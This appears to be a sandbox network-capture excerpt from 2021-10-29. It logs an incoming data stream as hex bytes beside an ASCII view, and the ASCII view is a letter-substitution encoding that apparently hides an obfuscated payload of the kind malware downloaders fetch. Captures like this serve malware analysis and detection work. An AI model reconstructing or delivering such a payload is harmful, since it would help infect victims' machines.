2021-10-29 18:10:39 UTC	201	IN	Data Raw: 20 71 4f 4d 20 71 71 70 20 57 4f 20 44 4a 20 57 4f 20 57 6d 20 58 6d 20 71 4d 20 71 71 45 20 71 4f 58 20 71 71 4a 20 70 6d 20 6d 58 20 57 4f 20 57 6d 20 57 6d 20 71 71 6d 20 71 71 44 20 71 4f 4d 20 4d 58 20 57 4f 20 6d 58 20 57 4f 20 58 57 20 58 6d 20 71 71 57 20 71 71 45 20 71 4a 71 20 71 71 4a 20 57 4f 20 6d 58 20 58 44 20 57 6d 20 58 57 20 71 71 6d 20 4d 4d 20 71 4f 4d 20 71 71 4a 20 57 4f 20 58 57 20 57 4f 20 57 57 20 58 6d 20 71 4f 44 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 58 6d 20 6d 58 20 57 71 20 57 6d 20 45 4a 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 70 20 57 4f 20 6d 4d 20 57 4f 20 6d 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 57 20 71 71 4a 20 57 71 20 6d 58 20 71 58 20 57 6d 20 58 6d 20 71 71 6d 20 4a 58 20 71 4f 4d 20 71 71 70 20 57 4f 20 4a 4a Data Ascii: qOM qqp WO DJ WO Wm Xm qM qqE qOX qqJ pm mX WO Wm Wm qqm qqD qOM MX WO mX WO XW Xm qqW qqE qJq qqJ WO mX XD Wm XW qqm MM qOM qqJ WO XW WO WW Xm qOD qqE qOM qqJ Xm mX Wq Wm EJ qqm qqE qOM Jp WO mM WO mO Xm qqm qqE W qqJ Wq mX qX Wm Xm qqm JX qOM qqp WO JJ
2021-10-29 18:10:39 UTC	205	IN	Data Raw: 20 71 71 71 20 71 71 45 20 71 71 71 20 71 71 4a 20 4a 4f 57 20 6d 58 20 6d 57 20 57 6d 20 58 57 20 71 71 6d 20 71 71 45 20 71 4f 58 20 71 71 71 20 57 4f 20 57 4f 20 57 4f 20 6d 6d 20 58 57 20 58 70 20 71 71 45 20 71 4f 58 20 71 71 4a 20 6d 71 20 6d 4d 20 71 4d 20 57 6d 20 58 44 20 71 71 6d 20 71 4f 57 20 71 4f 58 20 58 70 20 57 4f 20 6d 4d 20 57 4f 20 6d 70 20 58 57 20 58 71 20 71 71 45 20 71 71 71 20 71 71 4a 20 6d 57 20 6d 4d 20 4a 70 20 57 6d 20 58 57 20 71 71 6d 20 58 57 20 71 4f 58 20 58 57 20 57 4f 20 57 4f 20 57 4f 20 4a 70 20 58 57 20 58 57 20 71 71 45 20 71 4f 58 20 71 71 4a 20 71 44 20 6d 4d 20 4a 71 20 57 6d 20 58 44 20 71 71 6d 20 58 44 20 71 4f 58 20 58 4d 20 57 4f 20 6d 4d 20 57 4f 20 71 58 20 58 57 20 4d 71 20 71 71 45 20 71 71 71 20 71 71 Data Ascii: qqq qqE qqq qqJ JOW mX mW Wm XW qqm qqE qOX qqq WO WO WO mm XW Xp qqE qOX qqJ mq mM qM Wm XD qqm qOW qOX Xp WO mM WO mp XW Xq qqE qqq qqJ mW mM Jp Wm XW qqm XW qOX XW WO WO WO Jp XW XW qqE qOX qqJ qD mM Jq Wm XD qqm XD qOX XM WO mM WO qX XW Mq qqE qqq qq
2021-10-29 18:10:39 UTC	208	IN	Data Raw: 20 71 71 6d 20 71 45 45 20 71 4f 58 20 4a 4f 71 20 57 4f 20 6d 4d 20 57 4f 20 4a 6d 70 20 58 57 20 4a 4f 70 20 71 71 45 20 71 71 71 20 71 71 4a 20 4a 6d 6d 20 6d 4d 20 71 70 45 20 57 6d 20 58 57 20 71 71 6d 20 71 45 58 20 71 4f 58 20 4a 4f 70 20 57 4f 20 57 4f 20 57 4f 20 4a 57 6d 20 58 57 20 4a 4f 45 20 71 71 45 20 71 4f 58 20 71 71 4a 20 4a 57 71 20 6d 4d 20 71 6d 70 20 57 6d 20 58 44 20 71 71 6d 20 71 4d 71 20 71 4f 58 20 4a 4f 45 20 57 4f 20 6d 4d 20 57 4f 20 4a 57 70 20 58 57 20 4a 4f 57 20 71 71 45 20 71 71 71 20 71 71 4a 20 4a 57 6d 20 6d 4d 20 4a 6d 70 20 57 6d 20 58 57 20 71 71 6d 20 71 58 6d 20 71 4f 58 20 71 45 45 20 57 4f 20 57 4f 20 57 4f 20 4a 6d 58 20 58 57 20 71 45 45 20 71 71 45 20 71 4f 58 20 71 71 4a 20 4a 57 70 20 6d 4d 20 4a 6d 71 20 Data Ascii: qqm qEE qOX JOq WO mM WO Jmp XW JOp qqE qqq qqJ Jmm mM qpE Wm XW qqm qEX qOX JOp WO WO WO JWm XW JOE qqE qOX qqJ JWq mM qmp Wm XD qqm qMq qOX JOE WO mM WO JWp XW JOW qqE qqq qqJ JWm mM Jmp Wm XW qqm qXm qOX qEE WO WO WO JmX XW qEE qqE qOX qqJ JWp mM Jmq
2021-10-29 18:10:39 UTC	212	IN	Data Raw: 20 44 4a 20 6d 58 20 4d 45 20 57 6d 20 58 4d 20 71 71 6d 20 70 70 20 71 4f 4d 20 71 4a 57 20 57 4f 20 71 4f 71 20 57 4f 20 70 57 20 58 6d 20 70 44 20 71 71 45 20 71 4a 4a 20 71 71 4a 20 71 4f 71 20 6d 58 20 71 4d 20 57 6d 20 71 4a 20 71 71 6d 20 58 45 20 71 4f 4d 20 6d 71 20 57 4f 20 71 58 20 57 4f 20 71 4f 58 20 58 6d 20 58 44 20 71 71 45 20 57 6d 20 71 71 4a 20 4a 4a 20 6d 58 20 71 71 4f 20 57 6d 20 71 71 70 20 71 71 6d 20 6d 4f 20 71 4f 4d 20 58 45 20 57 4f 20 71 71 4f 20 57 4f 20 71 71 57 20 58 6d 20 6d 57 20 71 71 45 20 6d 4f 20 71 71 4a 20 58 4a 20 6d 58 20 71 71 4d 20 57 6d 20 57 70 20 71 71 6d 20 6d 58 20 71 4f 4d 20 71 58 20 57 4f 20 71 71 45 20 57 4f 20 58 57 20 58 6d 20 57 57 20 71 71 45 20 4d 20 71 71 4a 20 71 71 4d 20 6d 58 20 58 45 20 57 6d Data Ascii: DJ mX ME Wm XM qqm pp qOM qJW WO qOq WO pW Xm pD qqE qJJ qqJ qOq mX qM Wm qJ qqm XE qOM mq WO qX WO qOX Xm XD qqE Wm qqJ JJ mX qqO Wm qqp qqm mO qOM XE WO qqO WO qqW Xm mW qqE mO qqJ XJ mX qqM Wm Wp qqm mX qOM qX WO qqE WO XW Xm WW qqE M qqJ qqM mX XE Wm
2021-10-29 18:10:39 UTC	228	IN	Data Raw: 4a 20 71 71 70 20 58 20 6d 20 71 71 57 20 4d 4d 20 45 6d 20 44 58 20 6d 4f 20 57 71 20 57 20 70 20 6d 20 44 20 71 44 20 44 45 20 6d 4d 20 6d 71 20 57 4f 20 71 71 4d 20 4f 20 71 71 20 71 71 4a 20 71 4f 58 20 44 44 20 6d 58 20 6d 4f 20 57 70 20 71 71 70 20 71 71 45 20 44 20 71 6d 20 71 45 20 57 71 20 71 71 45 20 6d 4f 20 57 4f 20 71 71 58 20 4f 20 57 20 70 20 4d 58 20 44 45 20 44 6d 20 6d 44 20 57 4f 20 71 71 4d 20 6d 20 71 71 57 20 71 20 71 4f 71 20 44 44 20 57 71 20 58 6d 20 44 58 20 70 20 4f 20 71 71 44 20 71 71 4a 20 71 45 20 6d 4d 20 6d 58 20 6d 6d 20 57 6d 20 6d 20 71 20 70 20 44 20 4a 71 20 44 44 20 44 58 20 58 6d 20 44 44 20 4f 20 71 71 6d 20 57 4f 20 71 71 6d 20 71 58 20 44 6d 20 57 57 20 6d 71 20 57 71 20 71 20 4d 20 57 20 70 20 71 44 20 6d 4d 20 Data Ascii: J qqp X m qqW MM Em DX mO Wq W p m D qD DE mM mq WO qqM O qq qqJ qOX DD mX mO Wp qqp qqE D qm qE Wq qqE mO WO qqX O W p MX DE Dm mD WO qqM m qqW q qOq DD Wq Xm DX p O qqD qqJ qE mM mX mm Wm m q p D Jq DD DX Xm DD O qqm WO qqm qX Dm WW mq Wq q M W p qD mM
2021-10-29 18:10:39 UTC	240	IN	Data Raw: 6d 20 44 58 20 58 45 20 70 58 20 4a 45 20 4a 4f 20 70 20 6d 20 71 71 70 20 44 4d 20 4d 6d 20 44 44 20 70 70 20 4f 20 71 44 20 71 4f 4d 20 57 57 20 58 45 20 44 58 20 71 4a 70 20 4d 71 20 57 70 20 4a 71 20 71 44 20 6d 45 20 71 45 20 44 57 20 58 57 20 57 4f 20 71 4a 45 20 6d 58 20 4a 70 20 4a 45 20 4a 57 20 4a 57 20 45 4f 20 45 70 20 4d 45 20 58 70 20 57 58 20 4a 4a 20 71 44 20 70 71 20 57 4f 20 58 70 20 44 45 20 58 45 20 57 6d 20 70 20 4a 70 20 4a 70 20 44 70 20 4a 71 20 44 57 20 44 6d 20 4d 70 20 58 58 20 70 4d 20 4a 70 20 71 71 45 20 6d 4a 20 4a 71 20 45 4f 20 4d 58 20 58 45 20 44 4d 20 70 44 20 4a 4d 20 4a 45 20 70 4f 20 4a 71 20 57 4f 20 71 71 57 20 4d 6d 20 58 4d 20 70 4d 20 4a 70 20 71 71 45 20 44 4a 20 4d 20 44 57 20 44 58 20 58 45 20 4d 71 20 71 4a Data Ascii: m DX XE pX JE JO p m qqp DM Mm DD pp O qD qOM WW XE DX qJp Mq Wp Jq qD mE qE DW XW WO qJE mX Jp JE JW JW EO Ep ME Xp WX JJ qD pq WO Xp DE XE Wm p Jp Jp Dp Jq DW Dm Mp XX pM Jp qqE mJ Jq EO MX XE DM pD JM JE pO Jq WO qqW Mm XM pM Jp qqE DJ M DW DX XE Mq qJ
2021-10-29 18:10:39 UTC	256	IN	Data Raw: 44 45 20 57 4f 20 44 44 20 44 4f 20 4a 45 20 44 20 71 4f 4d 20 4a 70 20 58 45 20 44 58 20 71 4f 4d 20 4d 58 20 44 71 20 71 45 20 70 4f 20 70 4f 20 71 71 4a 20 4d 6d 20 58 4d 20 4d 4a 20 4d 70 20 70 4d 20 71 71 6d 20 45 20 58 20 4a 4d 20 4d 70 20 44 58 20 58 45 20 4d 58 20 57 70 20 71 20 70 4f 20 70 4f 20 71 71 4a 20 71 4f 4a 20 44 44 20 45 57 20 71 71 70 20 6d 4d 20 44 20 70 70 20 71 4a 20 70 20 58 4d 20 44 45 20 57 4f 20 44 44 20 57 70 20 71 20 70 4f 20 70 4f 20 71 71 4a 20 71 4a 44 20 4d 57 20 58 71 20 58 45 20 57 44 20 71 20 71 71 45 20 71 4f 20 4a 71 20 45 4f 20 71 71 71 20 71 71 70 20 44 58 20 6d 4d 20 4a 4a 20 71 44 20 70 20 6d 20 4d 71 20 58 71 20 4d 6d 20 44 4d 20 58 6d 20 70 70 20 4a 4a 20 71 4a 20 70 4f 20 71 71 70 20 44 44 20 58 45 20 58 4a 20 Data Ascii: DE WO DD DO JE D qOM Jp XE DX qOM MX Dq qE pO pO qqJ Mm XM MJ Mp pM qqm E X JM Mp DX XE MX Wp q pO pO qqJ qOJ DD EW qqp mM D pp qJ p XM DE WO DD Wp q pO pO qqJ qJD MW Xq XE WD q qqE qO Jq EO qqq qqp DX mM JJ qD p m Mq Xq Mm DM Xm pp JJ qJ pO qqp DD XE XJ
2021-10-29 18:10:39 UTC	272	IN	Data Raw: 71 4f 58 20 57 4f 20 71 4f 4f 20 58 6d 20 4a 4d 20 71 71 45 20 71 4a 20 71 71 4a 20 4d 57 20 6d 58 20 4d 71 20 57 6d 20 71 58 20 71 71 6d 20 4a 58 20 71 4f 4d 20 4a 58 20 57 4f 20 58 57 20 57 4f 20 4a 6d 20 58 6d 20 70 45 20 71 71 45 20 70 71 20 71 71 4a 20 4d 71 20 6d 58 20 45 4f 20 57 6d 20 6d 4d 20 71 71 6d 20 4a 45 20 71 4f 4d 20 4a 70 20 57 4f 20 6d 58 20 70 4d 20 71 71 4a 20 58 6d 20 4a 45 20 71 71 45 20 71 20 71 71 4a 20 58 45 20 6d 58 20 4a 58 20 57 6d 20 70 20 71 71 6d 20 45 20 71 4f 4d 20 4a 57 20 57 4f 20 44 58 20 57 4f 20 58 70 20 58 6d 20 71 71 6d 20 71 4a 4a 20 70 45 20 71 71 4a 20 58 70 20 6d 58 20 4d 4a 20 57 6d 20 6d 58 20 71 71 6d 20 4a 57 20 71 4f 4d 20 4a 71 20 57 4f 20 44 44 20 57 4f 20 57 6d 20 4d 57 20 4a 58 20 71 71 45 20 4a 4d 20 Data Ascii: qOX WO qOO Xm JM qqE qJ qqJ MW mX Mq Wm qX qqm JX qOM JX WO XW WO Jm Xm pE qqE pq qqJ Mq mX EO Wm mM qqm JE qOM Jp WO mX pM qqJ Xm JE qqE q qqJ XE mX JX Wm p qqm E qOM JW WO DX WO Xp Xm qqm qJJ pE qqJ Xp mX MJ Wm mX qqm JW qOM Jq WO DD WO Wm MW JX qqE JM
2021-10-29 18:10:39 UTC	288	IN	Data Raw: 58 58 20 71 71 70 20 44 4f 20 44 4a 20 6d 45 20 57 44 20 4d 4f 20 71 71 71 20 71 4a 70 20 4d 4d 20 71 4a 4a 20 6d 45 20 44 4a 20 57 58 20 57 44 20 44 57 20 4d 44 20 44 6d 20 71 4f 58 20 71 4a 44 20 44 4f 20 70 6d 20 71 45 58 20 71 57 4d 20 45 70 20 71 4a 6d 20 71 4a 70 20 71 4a 45 20 4a 6d 4f 20 71 57 57 20 6d 57 20 44 4f 20 57 4f 20 58 6d 20 71 71 6d 20 71 4f 6d 20 4d 4d 20 58 70 20 57 70 20 57 4d 20 70 4d 20 70 44 20 71 4a 71 20 71 71 57 20 71 4a 70 20 71 4a 4f 20 4d 58 20 71 45 58 20 71 6d 4d 20 57 71 20 57 44 20 44 57 20 4d 44 20 58 58 20 71 4f 58 20 71 4a 44 20 70 4d 20 70 6d 20 45 20 57 57 20 4d 4f 20 71 4a 6d 20 71 71 4d 20 71 4a 4f 20 4d 45 20 71 71 20 6d 4d 20 44 4f 20 57 44 20 45 70 20 71 4a 6d 20 71 4a 57 20 4d 4d 20 71 4a 4a 20 70 6d 20 6d 4d Data Ascii: XX qqp DO DJ mE WD MO qqq qJp MM qJJ mE DJ WX WD DW MD Dm qOX qJD DO pm qEX qWM Ep qJm qJp qJE JmO qWW mW DO WO Xm qqm qOm MM Xp Wp WM pM pD qJq qqW qJp qJO MX qEX qmM Wq WD DW MD XX qOX qJD pM pm E WW MO qJm qqM qJO ME qq mM DO WD Ep qJm qJW MM qJJ pm mM
2021-10-29 18:10:39 UTC	304	IN	Data Raw: 20 71 4a 70 20 71 4f 57 20 44 4a 20 58 70 20 4d 70 20 58 45 20 57 70 20 4a 4d 20 4a 4a 20 44 58 20 4d 58 20 71 71 70 20 57 4f 20 6d 4d 20 57 4f 20 4d 58 20 4d 4f 20 71 71 58 20 57 4d 20 71 4a 20 4a 4d 20 58 45 20 57 71 20 71 4a 70 20 58 4a 20 71 4f 4a 20 71 4a 57 20 71 71 44 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4f 4f 20 44 4f 20 57 4f 20 4a 44 20 71 4d 20 4a 6d 20 58 20 71 71 57 20 71 4a 70 20 58 6d 20 71 20 57 45 20 58 57 20 71 71 6d 20 71 71 44 20 71 4f 4d 20 70 44 20 44 4f 20 57 4a 20 71 4a 6d 20 58 45 20 57 45 20 4a 70 20 71 71 58 20 70 44 20 4a 4f 20 44 20 44 70 20 57 71 20 57 6d 20 58 57 20 71 71 6d 20 70 70 20 4d 4d 20 71 71 44 20 71 4a 6d 20 58 71 20 4d 57 20 58 70 20 58 45 20 57 4d 20 71 45 20 58 58 20 71 4a 45 20 57 71 20 6d 58 20 57 71 20 57 Data Ascii: qJp qOW DJ Xp Mp XE Wp JM JJ DX MX qqp WO mM WO MX MO qqX WM qJ JM XE Wq qJp XJ qOJ qJW qqD qOM qqp WO qOO DO WO JD qM Jm X qqW qJp Xm q WE XW qqm qqD qOM pD DO WJ qJm XE WE Jp qqX pD JO D Dp Wq Wm XW qqm pp MM qqD qJm Xq MW Xp XE WM qE XX qJE Wq mX Wq W
2021-10-29 18:10:39 UTC	320	IN	Data Raw: 6d 20 71 4d 20 71 71 45 20 6d 4a 20 71 71 4a 20 71 4a 4f 20 6d 58 20 4d 4a 20 57 6d 20 57 57 20 71 71 6d 20 57 4f 20 71 4f 4d 20 4f 20 57 4f 20 4d 71 20 57 4f 20 71 4f 58 20 58 6d 20 70 45 20 71 71 45 20 58 58 20 71 71 4a 20 44 45 20 6d 58 20 71 4f 6d 20 57 6d 20 71 4f 4a 20 71 71 6d 20 44 58 20 71 4f 4d 20 4a 45 20 57 4f 20 71 4f 44 20 57 4f 20 6d 20 58 6d 20 45 57 20 71 71 45 20 71 20 71 71 4a 20 58 70 20 6d 58 20 71 4f 71 20 57 6d 20 71 58 20 71 71 6d 20 4a 20 71 4f 4d 20 71 4d 20 57 4f 20 71 71 4d 20 57 4f 20 71 71 4a 20 58 6d 20 70 71 20 71 71 45 20 71 57 20 71 71 4a 20 71 71 45 20 6d 58 20 45 20 57 6d 20 71 4f 58 20 71 71 6d 20 70 4d 20 71 4f 4d 20 44 45 20 57 4f 20 71 4f 4a 20 57 4f 20 4d 6d 20 58 6d 20 71 45 20 71 71 45 20 4f 20 71 71 4a 20 4d 44 Data Ascii: m qM qqE mJ qqJ qJO mX MJ Wm WW qqm WO qOM O WO Mq WO qOX Xm pE qqE XX qqJ DE mX qOm Wm qOJ qqm DX qOM JE WO qOD WO m Xm EW qqE q qqJ Xp mX qOq Wm qX qqm J qOM qM WO qqM WO qqJ Xm pq qqE qW qqJ qqE mX E Wm qOX qqm pM qOM DE WO qOJ WO Mm Xm qE qqE O qqJ MD
2021-10-29 18:10:39 UTC	336	IN	Data Raw: 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 Data Ascii: qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qq
2021-10-29 18:10:39 UTC	352	IN	Data Raw: 70 4a 20 58 45 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 20 4f 20 71 71 6d 20 4a 71 71 20 4a 57 4a 20 70 20 71 71 4a 20 71 71 6d 20 58 58 20 4a 57 70 20 70 20 71 71 4a 20 71 71 6d 20 4a 4f 45 20 4a 57 4a 20 70 20 71 71 4a 20 6d 4f 20 4a 44 20 4f 20 4f 20 44 20 4f 20 70 4a 20 58 58 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 20 4f 20 71 71 6d 20 4a 71 71 20 4a 57 4a 20 70 20 71 71 4a 20 71 71 6d 20 71 6d 4f 20 4a 57 70 20 70 20 71 71 4a 20 71 71 6d 20 4a 4f 45 20 4a 57 4a 20 70 20 71 71 4a 20 6d 4f 20 4a 44 20 4f 20 4f 20 44 20 4f 20 70 4a 20 58 4d 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 20 4f 20 71 71 6d 20 4a 71 71 20 4a 57 4a 20 70 20 71 71 4a 20 71 71 6d 20 71 4d 4a 20 4a 57 70 20 70 20 71 71 4a 20 71 71 6d 20 4a 4f 45 20 4a 57 4a 20 70 20 71 Data Ascii: pJ XE O O O JWm qm J O qqm Jqq JWJ p qqJ qqm XX JWp p qqJ qqm JOE JWJ p qqJ mO JD O O D O pJ XX O O O JWm qm J O qqm Jqq JWJ p qqJ qqm qmO JWp p qqJ qqm JOE JWJ p qqJ mO JD O O D O pJ XM O O O JWm qm J O qqm Jqq JWJ p qqJ qqm qMJ JWp p qqJ qqm JOE JWJ p q
2021-10-29 18:10:39 UTC	368	IN	Data Raw: 20 71 4a 20 57 20 4f 20 71 71 71 20 71 4a 20 4f 20 4f 20 71 4f 20 4a 57 6d 20 71 6d 20 4f 20 4f 20 57 44 20 71 58 4a 20 71 20 4f 20 4f 20 4f 20 4f 20 70 4a 20 71 4f 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 70 20 4f 20 4a 57 6d 20 71 4a 20 6d 20 4f 20 4a 57 6d 20 4d 20 71 20 4f 20 71 71 71 20 58 4a 20 4f 20 4f 20 71 4f 20 70 4a 20 71 20 4f 20 4f 20 4f 20 57 4d 20 4a 57 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 4a 20 6d 20 4f 20 4a 57 6d 20 4d 20 71 20 4f 20 71 71 71 20 58 4a 20 4f 20 4f 20 71 4f 20 70 4a 20 4a 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 20 57 44 20 57 20 4f 20 4f 20 4f 20 70 4a 20 71 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 58 20 4f 20 4a 57 6d 20 71 4a 20 58 20 4f 20 57 45 20 4a 58 20 4f 20 4f 20 4f 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 4a 57 6d 20 Data Ascii: qJ W O qqq qJ O O qO JWm qm O O WD qXJ q O O O O pJ qO O O O JWm qm p O JWm qJ m O JWm M q O qqq XJ O O qO pJ q O O O WM JW O O O JWm qJ m O JWm M q O qqq XJ O O qO pJ J O O O JWm q WD W O O O pJ q O O O JWm qm X O JWm qJ X O WE JX O O O pJ qq O O O JWm
2021-10-29 18:10:39 UTC	384	IN	Data Raw: 4a 20 70 71 20 6d 4a 20 71 57 45 20 71 71 57 20 71 58 45 20 4f 20 4f 20 71 4f 20 6d 4a 20 4f 20 71 4d 20 6d 58 20 70 20 4f 20 58 71 20 4f 20 4f 20 4f 20 4a 45 20 4f 20 4f 20 71 45 20 4a 57 6d 20 4d 20 4f 20 4f 20 71 71 71 20 71 58 58 20 4f 20 4f 20 71 4f 20 71 71 71 20 71 58 4d 20 4f 20 4f 20 71 4f 20 6d 4f 20 71 4d 4f 20 4f 20 4f 20 71 4f 20 4a 57 6d 20 71 6d 20 4f 20 4f 20 4a 57 6d 20 4d 20 4f 20 4f 20 71 71 71 20 71 4d 71 20 4f 20 4f 20 71 4f 20 71 71 71 20 71 58 4d 20 4f 20 4f 20 71 4f 20 4a 57 6d 20 71 4a 20 4f 20 4f 20 71 71 71 20 71 4d 4a 20 4f 20 4f 20 71 4f 20 57 45 20 71 4d 20 4f 20 4f 20 4f 20 71 71 6d 20 71 58 4a 20 71 57 20 6d 20 71 71 4a 20 4a 57 6d 20 71 4a 20 4f 20 4f 20 6d 4f 20 71 70 20 4f 20 4f 20 71 4f 20 57 44 20 57 20 4f 20 4f 20 4f Data Ascii: J pq mJ qWE qqW qXE O O qO mJ O qM mX p O Xq O O O JE O O qE JWm M O O qqq qXX O O qO qqq qXM O O qO mO qMO O O qO JWm qm O O JWm M O O qqq qMq O O qO qqq qXM O O qO JWm qJ O O qqq qMJ O O qO WE qM O O O qqm qXJ qW m qqJ JWm qJ O O mO qp O O qO WD W O O O
2021-10-29 18:10:39 UTC	400	IN	Data Raw: 58 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 4a 20 71 45 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 4a 20 71 45 20 4f 20 4f 20 4f 20 70 71 20 6d 4d 20 71 57 45 20 70 45 20 70 71 20 71 45 20 70 71 20 71 71 71 20 71 57 45 20 70 45 20 70 4a 20 71 44 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 71 44 20 4f 20 4f 20 4f 20 70 71 20 4d 58 20 71 57 45 20 70 45 20 70 71 20 71 44 20 70 71 20 71 4f 4d 20 71 57 45 20 70 45 20 70 4a 20 71 57 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4a 20 71 57 45 20 70 45 20 70 4a 20 71 57 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 71 20 71 57 20 70 71 20 70 4a 20 71 57 45 20 70 45 20 70 4a 20 71 6d 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 4a Data Ascii: X pq qOO qWE pE pJ qE O O O pq WJ qWE pE pJ qE O O O pq mM qWE pE pq qE pq qqq qWE pE pJ qD O O O pq WE qWE pE pJ qD O O O pq MX qWE pE pq qD pq qOM qWE pE pJ qW O O O pq qOJ qWE pE pJ qW O O O pq qOO qWE pE pq qW pq pJ qWE pE pJ qm O O O pq qOO qWE pE pJ
2021-10-29 18:10:39 UTC	416	IN	Data Raw: 71 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70 71 20 57 57 20 71 57 45 20 70 45 20 70 71 20 71 4d 20 70 71 20 71 4f 4d 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f 20 4f 20 4f 20 70 71 20 57 70 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 71 20 71 58 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 71 45 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 71 45 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 71 20 71 45 20 70 71 20 45 45 20 71 57 45 20 70 45 20 70 4a 20 71 44 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 4a 20 71 44 20 4f 20 4f 20 Data Ascii: q qWE pE pJ qM O O O pq WJ qWE pE pJ qM O O O pq WW qWE pE pq qM pq qOM qWE pE pJ qX O O O pq Wp qWE pE pJ qX O O O pq qOO qWE pE pq qX pq qOq qWE pE pJ qE O O O pq qOq qWE pE pJ qE O O O pq Wm qWE pE pq qE pq EE qWE pE pJ qD O O O pq Wm qWE pE pJ qD O O
2021-10-29 18:10:39 UTC	432	IN	Data Raw: 71 20 6d 58 20 71 57 45 20 70 45 20 70 4a 20 6d 6d 20 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 4a 20 6d 6d 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 6d 6d 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 71 20 6d 6d 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 6d 70 20 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 4a 20 6d 70 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 4a 20 6d 70 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 4a 20 6d 70 20 4f 20 4f 20 4f 20 70 71 20 57 57 20 71 57 45 20 70 45 20 70 71 20 6d 70 20 70 71 20 71 4f 58 20 71 57 45 20 70 45 20 70 4a 20 6d 4a 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a Data Ascii: q mX qWE pE pJ mm O O O pq ME qWE pE pJ mm O O O pq WE qWE pE pJ mm O O O pq WE qWE pE pq mm pq qOq qWE pE pJ mp O O O pq ME qWE pE pJ mp O O O pq WJ qWE pE pJ mp O O O pq qOO qWE pE pJ mp O O O pq WW qWE pE pq mp pq qOX qWE pE pJ mJ O O O pq WE qWE pE pJ
2021-10-29 18:10:39 UTC	439	IN	Data Raw: 20 4d 4d 20 71 57 45 20 70 45 20 70 71 20 71 44 20 70 71 20 44 4d 20 71 57 45 20 70 45 20 70 4a 20 71 57 20 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 4a 20 71 57 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 4a 20 71 57 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 4a 20 71 57 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 71 20 71 57 20 70 71 20 45 44 20 71 57 45 20 70 45 20 70 4a 20 71 6d 20 4f 20 4f 20 4f 20 70 71 20 4d 4d 20 71 57 45 20 70 45 20 70 4a 20 71 6d 20 4f 20 4f 20 4f 20 70 71 20 4d 4d 20 71 57 45 20 70 45 20 70 4a 20 71 6d 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 71 6d 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 